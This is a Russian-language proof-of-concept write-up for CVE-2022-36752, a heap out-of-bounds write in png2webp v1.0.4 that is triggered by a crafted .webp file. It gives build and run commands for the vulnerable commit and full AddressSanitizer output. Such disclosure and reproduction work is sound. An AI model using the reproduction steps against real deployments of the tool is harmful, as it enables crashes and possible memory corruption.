
Доказательство концепции для CVE-2022-36752
В png2webp v1.0.4 обнаружено наличие записи за пределами границ через функцию w2p. Эта уязвимость может быть использована с помощью специально созданного файла webp при обратном преобразовании формата в png.
Чтобы воспроизвести уязвимость, загрузите уязвимую версию png2webp (v1.0.4) и скомпилируйте проект:
git clone https://github.com/landfillbaby/png2webp.git
cd png2webp
git checkout 0c7119109cde91127a263bf0af252e5e730f7fba
git submodule update --init --depth 1
./configure && make
После компиляции проекта можно указать png2webp на наш вредоносный файл .webp, включённый в этот репозиторий (CVE-2022-36752_crash.webp):
./png2web -r CVE-2022-36752_crash.webp
Предыдущая команда вызовет аварийное завершение и вернёт сообщение об ошибке:
corrupted size vs. prev_size
Чтобы лучше понять, где происходит аварийное завершение, перекомпилируем проект с address sanitizer (ASAN), добавив -fsanitize=address в переменную CFLAGS в Makefile. Также нужно, чтобы компилятор сохранял информацию о таблице символов в исполняемом файле (флаг -g), чтобы определить, какая строка кода вызвала аварийное завершение:
ifeq (${uname_m},x86_64)
CFLAGS ?= -O3 -Wall -Wextra -pipe -flto=auto -DNDEBUG -march=x86-64-v2 -fsanitize=address -g
Затем очистим устаревшие файлы и перекомпилируем проект:
make clean
make
ASAN сообщает о недопустимой записи размером 12 в программе, что подтверждает наличие уязвимости записи за пределами границ:
==222970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x563e3ec4ee6a bp 0x7fff3a7b04d0 sp 0x7fff3a7b04c8
WRITE of size 12 at 0x602000000010 thread T0
#0 0x563e3ec4ee69 (/dev/shm/png2webp/png2webp+0x23e69)
#1 0x563e3ec3df34 (/dev/shm/png2webp/png2webp+0x12f34)
#2 0x7fcfe4967189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x7fcfe4967244 in __libc_start_main_impl ../csu/libc-start.c:381
#4 0x563e3ec3e3f0 (/dev/shm/png2webp/png2webp+0x133f0)
0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
#0 0x7fcfe4cae7cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x563e3ec46052 (/dev/shm/png2webp/png2webp+0x1b052)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/dev/shm/png2webp/png2webp+0x23e69)
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==222970==ABORTING
if(l < 12
#ifdef SSIZE_MAX
|| l - 12 > SSIZE_MAX
#endif
) {
PF("ERROR reading %s: %s", IP, k[2]);
goto w2p_close;
}